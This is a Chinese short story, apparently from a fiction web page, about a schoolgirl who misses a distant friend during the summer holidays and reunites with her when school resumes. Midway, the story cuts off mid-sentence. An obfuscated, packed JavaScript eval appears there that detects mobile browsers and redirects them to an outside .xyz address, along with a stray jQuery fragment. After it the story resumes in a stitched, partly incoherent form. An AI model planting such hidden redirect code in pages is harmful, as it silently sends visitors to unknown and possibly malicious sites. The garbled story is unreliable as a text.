萧秋一觉醒来，发现头发被泪水濡湿，像刚刚洗过一样。
窗外的蝉鸣已经滚过三波热浪，老式空调外机在窗台上嗡嗡震颤，把凌晨四点的凉意搅成浑浊的棉絮。她伸手摸向枕头底下的手机，屏幕亮起时映出锁屏壁纸——是去年运动会韩瑞菲抓拍的林洛筠，新校区的红色塑胶跑道在她身后洇成一片模糊的霞光，她正低头系鞋带。
微信界面停留在三天前的“晚安”。萧秋的拇指在输入框上悬了悬，最终还是按灭了屏幕。
床单上印着浅淡的泪痕，从颧骨位置蜿蜒到锁骨窝，像昨夜那场梦的等高线。她记得梦里的风带着槐树叶的涩味，老校区墙外的梧桐树把影子投在柏油路上，碎成一地晃动的光斑。林洛筠走在她左边，白色帆布鞋踩过梧桐果时发出轻微的脆响，校服裙下摆扫过膝盖的弧度和现实里一模一样。
“省图新到了批托克维尔的书，”林洛筠的声音比平时亮些，“等开学……我们去看看？”
萧秋想点头，喉咙却像被堵住了一样。她看见林洛筠的发尾沾着片槐树叶，伸手去摘时指尖却穿过了那团柔软的黑发——然后梦就碎了，像被戳破的肥皂泡，只剩下鼻腔里酸涩的余味。
她坐起身，晨光已经漫过窗帘缝隙，在书桌上投下细长的光带。桌面上摊着摊开的历史暑假作业，第三十七页的“辛亥革命影响”还空着大半，旁边压着张皱巴巴的便利贴，是林洛筠临走前写的：“唯物史观要结合经济基础分析，别只抄教材原文。”字迹清瘦，像极了林洛筠的样子。
萧秋把脸埋进掌心，指缝间漏出一声叹息。自从考上省实验那年在奥辅导班相识，她们从未试过如此长时间的失联。林洛筠升入新校区后，每周只能用固定电话通话十分钟，微信消息，常常是石沉大海。老校区的文科生和新校区的物化政班像两条平行的轨道，在高二暑假真的彻底失去了交集。
“或许她真的很忙？”萧秋喃喃自语，目光扫过墙上的日历。明天就是返校日，可她连一半作业都没完成。洛筠的笔记本还躺在书架最显眼的位置，封皮上贴着她们去年在博物馆买的敦煌飞天贴纸，边角已经翘起。
正午的阳光晒得柏油路发软，萧秋抱着作业本站在梧桐公园门口。这是她们初中时常来的地方，高大的梧桐树枝叶交错，在地面织出斑驳的光影。她在石凳上坐下，翻开笔记本，里面夹着洛筠整理的政治错题集，字迹分外的工整。
“你看，”林洛筠的声音突然在耳边响起，“哲学题要先定位知识点，再结合材料分析。”
萧秋猛地抬头，却只看见晃动的树叶。她苦笑着摇头，原来思念真的会让人产生幻觉。笔记本里掉出一张便签，是林洛筠上周托人带给她的：“新校区的紫藤花开了，可惜你看不到。”
暮色四合时，萧秋回到家，发现手机里躺着条未读短信：“明天见。”发件人是林洛筠的室友韩瑞菲。她盯着屏幕，心跳突然加快。或许洛筠明天会带着手机？或许她们能在返校时好好聊聊天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054244|179046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？
深夜，萧秋又梦见了林洛筠。这次她们在老校区的图书馆里，阳光透过百叶窗洒在林洛筠的侧脸上，她正在讲解《资本论》的基本原理。萧秋想伸手触碰她的手，却再次穿过了空气。
“别担心，”林洛筠抬头微笑，“我们的友情，不会因为距离而改变。”
梦醒时，萧秋发现枕头又湿了一片。她望向窗外，启明星在天际闪烁，仿佛林洛筠温柔的眼睛。
返校日的清晨，萧秋早早来到教室，把作业和笔记本整齐地摆在课桌上。她不时望向门口，期待着那个熟悉的身影出现。
“阿锦！”
熟悉的声音传来，萧秋抬头，看见洛筠站在门口，手里抱着一摞作业，脸上带着疲惫却温暖的笑容。
“洛筠！”萧秋站起身，却发现自己的声音有些哽咽。
洛筠快步走到她身边，把一本政治练习册放在她面前：“这是我整理的错题集，你看看有没有帮助。”
萧秋翻开练习册，里面夹着张便签：“唯物史观不仅适用于历史，也适用于我们的友情。无论距离多远，我们的精神始终相连。”
她抬头看向洛筠，发现对方的眼睛也湿润了。她们相视而笑，无需多言。
夕阳的余晖透过教室的窗户，洒在两个女孩身上。萧秋望着洛筠认真写政治作业的侧脸，心中充满了温暖。她知道，无论未来如何，这份友情都将永远存在。
洛筠她……现在应该在写政治作业吧。